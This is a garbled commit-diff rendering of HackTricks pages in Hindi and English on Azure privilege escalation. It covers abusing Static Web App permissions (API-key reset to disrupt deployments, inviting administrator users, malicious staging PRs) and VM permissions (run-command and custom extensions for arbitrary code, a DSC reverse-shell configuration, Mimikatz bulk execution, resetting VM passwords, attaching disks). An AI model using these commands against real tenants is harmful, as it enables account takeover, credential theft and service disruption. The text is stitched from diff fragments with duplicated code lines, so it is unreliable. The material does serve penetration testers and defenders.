"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
}
|
||||
"properties": {
|
||||
"allowConfigFileUpdates": true,
|
||||
"stagingEnvironmentPolicy": "Enabled",
|
||||
"buildProperties": {
|
||||
"appLocation": "/",
|
||||
"apiLocation": "",
|
||||
"appArtifactLocation": "build"
|
||||
},
|
||||
"deploymentAuthPolicy": "GitHub",
|
||||
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
Example Github Action to deploy the app:
|
||||
|
||||
ऐप को डिप्लॉय करने के लिए उदाहरण Github Action:
|
||||
```yaml
|
||||
name: Azure Static Web Apps CI/CD
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
pull_request:
|
||||
types: [opened, synchronize, reopened, closed]
|
||||
branches:
|
||||
- main
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
pull_request:
|
||||
types: [opened, synchronize, reopened, closed]
|
||||
branches:
|
||||
- main
|
||||
|
||||
jobs:
|
||||
build_and_deploy_job:
|
||||
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
|
||||
runs-on: ubuntu-latest
|
||||
name: Build and Deploy Job
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
with:
|
||||
submodules: true
|
||||
lfs: false
|
||||
- name: Install OIDC Client from Core Package
|
||||
run: npm install @actions/core@1.6.0 @actions/http-client
|
||||
- name: Get Id Token
|
||||
uses: actions/github-script@v6
|
||||
id: idtoken
|
||||
with:
|
||||
script: |
|
||||
const coredemo = require('@actions/core')
|
||||
return await coredemo.getIDToken()
|
||||
result-encoding: string
|
||||
- name: Build And Deploy
|
||||
id: builddeploy
|
||||
uses: Azure/static-web-apps-deploy@v1
|
||||
with:
|
||||
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
|
||||
action: "upload"
|
||||
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
|
||||
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
|
||||
app_location: "/" # App source code path
|
||||
api_location: "" # Api source code path - optional
|
||||
output_location: "build" # Built app content directory - optional
|
||||
github_id_token: ${{ steps.idtoken.outputs.result }}
|
||||
###### End of Repository/Build Configurations ######
|
||||
build_and_deploy_job:
|
||||
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
|
||||
runs-on: ubuntu-latest
|
||||
name: Build and Deploy Job
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
with:
|
||||
submodules: true
|
||||
lfs: false
|
||||
- name: Install OIDC Client from Core Package
|
||||
run: npm install @actions/core@1.6.0 @actions/http-client
|
||||
- name: Get Id Token
|
||||
uses: actions/github-script@v6
|
||||
id: idtoken
|
||||
with:
|
||||
script: |
|
||||
const coredemo = require('@actions/core')
|
||||
return await coredemo.getIDToken()
|
||||
result-encoding: string
|
||||
- name: Build And Deploy
|
||||
id: builddeploy
|
||||
uses: Azure/static-web-apps-deploy@v1
|
||||
with:
|
||||
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
|
||||
action: "upload"
|
||||
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
|
||||
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
|
||||
app_location: "/" # App source code path
|
||||
api_location: "" # Api source code path - optional
|
||||
output_location: "build" # Built app content directory - optional
|
||||
github_id_token: ${{ steps.idtoken.outputs.result }}
|
||||
###### End of Repository/Build Configurations ######
|
||||
|
||||
close_pull_request_job:
|
||||
if: github.event_name == 'pull_request' && github.event.action == 'closed'
|
||||
runs-on: ubuntu-latest
|
||||
name: Close Pull Request Job
|
||||
steps:
|
||||
- name: Close Pull Request
|
||||
id: closepullrequest
|
||||
uses: Azure/static-web-apps-deploy@v1
|
||||
with:
|
||||
action: "close"
|
||||
close_pull_request_job:
|
||||
if: github.event_name == 'pull_request' && github.event.action == 'closed'
|
||||
runs-on: ubuntu-latest
|
||||
name: Close Pull Request Job
|
||||
steps:
|
||||
- name: Close Pull Request
|
||||
id: closepullrequest
|
||||
uses: Azure/static-web-apps-deploy@v1
|
||||
with:
|
||||
action: "close"
|
||||
```
|
||||
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
With this permision it's possible to **reset the API key of the static web app** potentially DoSing the workflows that automatically deploy the app.
|
||||
|
||||
इस अनुमति के साथ **स्टेटिक वेब ऐप के API कुंजी को रीसेट करना संभव है** जो संभावित रूप से ऐप को स्वचालित रूप से तैनात करने वाले वर्कफ़्लो को DoS कर सकता है।
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/staticSites/createUserInvitation/action
|
||||
|
||||
This permission allows to **create an invitation to a user** to access protected paths inside a static web app ith a specific given role.
|
||||
|
||||
The login is located in a path such as `/.auth/login/github` for github or `/.auth/login/aad` for Entra ID and a user can be invited with the following command:
|
||||
यह अनुमति **एक उपयोगकर्ता के लिए निमंत्रण बनाने** की अनुमति देती है ताकि वह एक विशिष्ट दिए गए भूमिका के साथ एक स्थिर वेब ऐप के अंदर संरक्षित पथों तक पहुँच सके।
|
||||
|
||||
लॉगिन एक पथ में स्थित है जैसे `/.auth/login/github` गिटहब के लिए या `/.auth/login/aad` Entra ID के लिए और एक उपयोगकर्ता को निम्नलिखित कमांड के साथ आमंत्रित किया जा सकता है:
|
||||
```bash
|
||||
az staticwebapp users invite \
|
||||
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
|
||||
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
|
||||
--invitation-expiration-in-hours 168 # 7 days is max \
|
||||
--name my-first-static-web-app # Name of the app\
|
||||
--roles "contributor,administrator" # Comma sepparated list of roles\
|
||||
--user-details username # Github username in this case\
|
||||
--resource-group Resource_Group_1 # Resource group of the app
|
||||
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
|
||||
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
|
||||
--invitation-expiration-in-hours 168 # 7 days is max \
|
||||
--name my-first-static-web-app # Name of the app\
|
||||
--roles "contributor,administrator" # Comma sepparated list of roles\
|
||||
--user-details username # Github username in this case\
|
||||
--resource-group Resource_Group_1 # Resource group of the app
|
||||
```
|
||||
|
||||
### Pull Requests
|
||||
|
||||
By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually `main`) to **deploy a malicious version of the app** in the statagging URL.
|
||||
डिफ़ॉल्ट रूप से, एक ही रेपो में एक शाखा से Pull Requests को स्वचालित रूप से संकलित और एक स्टेजिंग वातावरण में बनाया जाएगा। इसका दुरुपयोग एक हमलावर द्वारा किया जा सकता है जिसके पास रेपो पर लिखने की अनुमति है लेकिन उत्पादन शाखा (आमतौर पर `main`) की शाखा सुरक्षा को बायपास करने की क्षमता नहीं है ताकि **ऐप का एक दुर्भावनापूर्ण संस्करण** स्टेजिंग URL में तैनात किया जा सके।
|
||||
|
||||
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
स्टेजिंग URL का यह प्रारूप है: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` जैसे: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
|
||||
> [!TIP]
|
||||
> Note that by default external PRs won't run workflows unless they have merged at least 1 PR into the repository. An attacker could send a valid PR to the repo and **then send a malicious PR** to the repo to deploy the malicious app in the stagging environment. HOWEVER, there is an unexpected protection, the default Github Action to deploy into the static web app need access to the secret containing the deployment token (like `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) eve if the deployment is done with the IDToken. This means that because an external PR won't have access to this secret and an external PR cannot change the Workflow to place here an arbitrary token without a PR getting accepted, **this attack won't really work**.
|
||||
|
||||
> ध्यान दें कि डिफ़ॉल्ट रूप से बाहरी PRs वर्कफ़्लो नहीं चलाएंगे जब तक कि उन्होंने कम से कम 1 PR को रेपो में मर्ज नहीं किया हो। एक हमलावर रेपो में एक मान्य PR भेज सकता है और **फिर एक दुर्भावनापूर्ण PR** भेज सकता है ताकि स्टेजिंग वातावरण में दुर्भावनापूर्ण ऐप तैनात किया जा सके। हालाँकि, एक अप्रत्याशित सुरक्षा है, स्टैटिक वेब ऐप में तैनात करने के लिए डिफ़ॉल्ट Github Action को उस गुप्त कुंजी तक पहुँच की आवश्यकता होती है जिसमें तैनाती टोकन होता है (जैसे `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) भले ही तैनाती IDToken के साथ की गई हो। इसका मतलब है कि क्योंकि एक बाहरी PR इस गुप्त कुंजी तक पहुँच नहीं रखेगा और एक बाहरी PR बिना किसी PR के स्वीकार किए बिना यहाँ एक मनमाना टोकन रखने के लिए वर्कफ़्लो को नहीं बदल सकता, **यह हमला वास्तव में काम नहीं करेगा**।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -13,7 +13,7 @@ Azure Virtual Machines और Network के बारे में अधिक
|
||||
### **`Microsoft.Compute/virtualMachines/extensions/write`**
|
||||
|
||||
यह अनुमति वर्चुअल मशीनों में एक्सटेंशन निष्पादित करने की अनुमति देती है जो **उन पर मनमाना कोड निष्पादित करने** की अनुमति देती है।\
|
||||
एक VM में मनमाने कमांड निष्पादित करने के लिए कस्टम एक्सटेंशन का दुरुपयोग करने का उदाहरण:
|
||||
एक उदाहरण कस्टम एक्सटेंशनों का दुरुपयोग करके VM में मनमाने कमांड निष्पादित करना:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
@@ -93,7 +93,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<summary>VMAccess extension</summary>
|
||||
|
||||
यह एक्सटेंशन Windows VMs के अंदर उपयोगकर्ताओं के पासवर्ड को संशोधित करने (या यदि यह मौजूद नहीं है तो बनाने) की अनुमति देता है।
|
||||
यह एक्सटेंशन Windows VMs के अंदर उपयोगकर्ताओं का पासवर्ड संशोधित करने (या यदि यह मौजूद नहीं है तो बनाने) की अनुमति देता है।
|
||||
```bash
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
@@ -105,7 +105,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
|
||||
यह एक **VM एक्सटेंशन** है जो Microsoft का है जो Azure Windows VMs की कॉन्फ़िगरेशन को प्रबंधित करने के लिए PowerShell DSC का उपयोग करता है। इसलिए, इसका उपयोग Windows VMs में इस एक्सटेंशन के माध्यम से **मनमाने कमांड** निष्पादित करने के लिए किया जा सकता है:
|
||||
यह एक **VM एक्सटेंशन** है जो Microsoft का है जो Azure Windows VMs की कॉन्फ़िगरेशन प्रबंधित करने के लिए PowerShell DSC का उपयोग करता है। इसलिए, इसे इस एक्सटेंशन के माध्यम से Windows VMs में **मनमाने कमांड** निष्पादित करने के लिए उपयोग किया जा सकता है:
|
||||
```bash
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
@@ -157,13 +157,13 @@ Set-AzVMDscExtension `
|
||||
|
||||
<summary>हाइब्रिड रनबुक वर्कर</summary>
|
||||
|
||||
यह एक VM एक्सटेंशन है जो एक ऑटोमेशन अकाउंट से VMs में रनबुक्स को निष्पादित करने की अनुमति देगा। अधिक जानकारी के लिए [ऑटोमेशन अकाउंट्स सेवा](../az-services/az-automation-account/index.html) देखें।
|
||||
यह एक VM एक्सटेंशन है जो एक ऑटोमेशन खाते से VMs में रनबुक्स को निष्पादित करने की अनुमति देगा। अधिक जानकारी के लिए [ऑटोमेशन खातों की सेवा](../az-services/az-automation-account/index.html) देखें।
|
||||
|
||||
</details>
|
||||
|
||||
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`
|
||||
|
||||
ये **एक नया गैलरी एप्लिकेशन बनाने और इसे एक VM के अंदर निष्पादित करने** के लिए आवश्यक अनुमतियाँ हैं। गैलरी एप्लिकेशन कुछ भी निष्पादित कर सकते हैं, इसलिए एक हमलावर इसका दुरुपयोग करके मनमाने आदेश निष्पादित करने वाले VM उदाहरणों को समझौता कर सकता है।
|
||||
ये आवश्यक अनुमतियाँ हैं **एक नया गैलरी एप्लिकेशन बनाने और इसे एक VM के अंदर निष्पादित करने के लिए**। गैलरी एप्लिकेशन कुछ भी निष्पादित कर सकते हैं, इसलिए एक हमलावर इसका दुरुपयोग करके मनमाने आदेश निष्पादित करने वाले VM उदाहरणों को समझौता कर सकता है।
|
||||
|
||||
अंतिम 2 अनुमतियों को टेनेट के साथ एप्लिकेशन साझा करके टाला जा सकता है।
|
||||
|
||||
@@ -251,7 +251,7 @@ az vm application set \
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/runCommand/action`
|
||||
|
||||
यह Azure द्वारा VMs में **मनचाहे कमांड निष्पादित करने** के लिए प्रदान किया गया सबसे बुनियादी तंत्र है:
|
||||
यह Azure द्वारा VMs में **मनचाहे कमांड चलाने के लिए प्रदान किया गया सबसे बुनियादी तंत्र है:**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
@@ -308,7 +308,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
|
||||
**SSH** के माध्यम से लॉगिन करें **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** और **RDP** के माध्यम से अपने **नियमित Azure क्रेडेंशियल्स** के साथ।
|
||||
|
||||
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
### `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
ये सभी आवश्यक अनुमतियाँ हैं **एक विशिष्ट प्रबंधित पहचान के साथ VM बनाने** और **एक पोर्ट खुला छोड़ने** के लिए (इस मामले में 22)। यह एक उपयोगकर्ता को एक VM बनाने और उससे कनेक्ट करने और **प्रबंधित पहचान टोकन चुराने** की अनुमति देता है ताकि इसे विशेषाधिकार बढ़ाने के लिए उपयोग किया जा सके।
|
||||
|
||||
@@ -349,9 +349,9 @@ az vm identity assign \
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
|
||||
{{#endref}}
|
||||
|
||||
### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write"
|
||||
### Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write
|
||||
|
||||
ये अनुमतियाँ वर्चुअल मशीन के उपयोगकर्ता और पासवर्ड को बदलने की अनुमति देती हैं ताकि इसमें पहुँच प्राप्त की जा सके:
|
||||
ये अनुमतियाँ वर्चुअल मशीन के उपयोगकर्ता और पासवर्ड को बदलने की अनुमति देती हैं ताकि उसे एक्सेस किया जा सके:
|
||||
```bash
|
||||
az vm user update \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
@@ -359,8 +359,24 @@ az vm user update \
|
||||
--username <USERNAME> \
|
||||
--password <NEW_PASSWORD>
|
||||
```
|
||||
### Microsoft.Compute/virtualMachines/write, "Microsoft.Compute/virtualMachines/read", "Microsoft.Compute/disks/read", "Microsoft.Network/networkInterfaces/read", "Microsoft.Network/networkInterfaces/join/action", "Microsoft.Compute/disks/write".
|
||||
|
||||
ये अनुमतियाँ आपको डिस्क और नेटवर्क इंटरफेस प्रबंधित करने की अनुमति देती हैं, और, ये आपको एक वर्चुअल मशीन से डिस्क को संलग्न करने में सक्षम बनाती हैं।
|
||||
```bash
|
||||
# Update the disk's network access policy
|
||||
az disk update \
|
||||
--name <disk-name> \
|
||||
--resource-group <resource-group-name> \
|
||||
--network-access-policy AllowAll
|
||||
|
||||
# Attach the disk to a virtual machine
|
||||
az vm disk attach \
|
||||
--vm-name <vm-name> \
|
||||
--resource-group <resource-group-name> \
|
||||
--name <disk-name>
|
||||
```
|
||||
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
|
||||
|
||||
According to the [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), यह अनुमति आपको Windows Admin Center के माध्यम से अपने संसाधन के OS को एक प्रशासक के रूप में प्रबंधित करने देती है। इसलिए ऐसा लगता है कि यह VMs को नियंत्रित करने के लिए WAC तक पहुंच प्रदान करता है...
|
||||
[**दस्तावेज़**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute) के अनुसार, यह अनुमति आपको Windows Admin Center के माध्यम से अपने संसाधन के OS को एक व्यवस्थापक के रूप में प्रबंधित करने देती है। इसलिए ऐसा लगता है कि यह VMs को नियंत्रित करने के लिए WAC तक पहुंच प्रदान करता है...
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user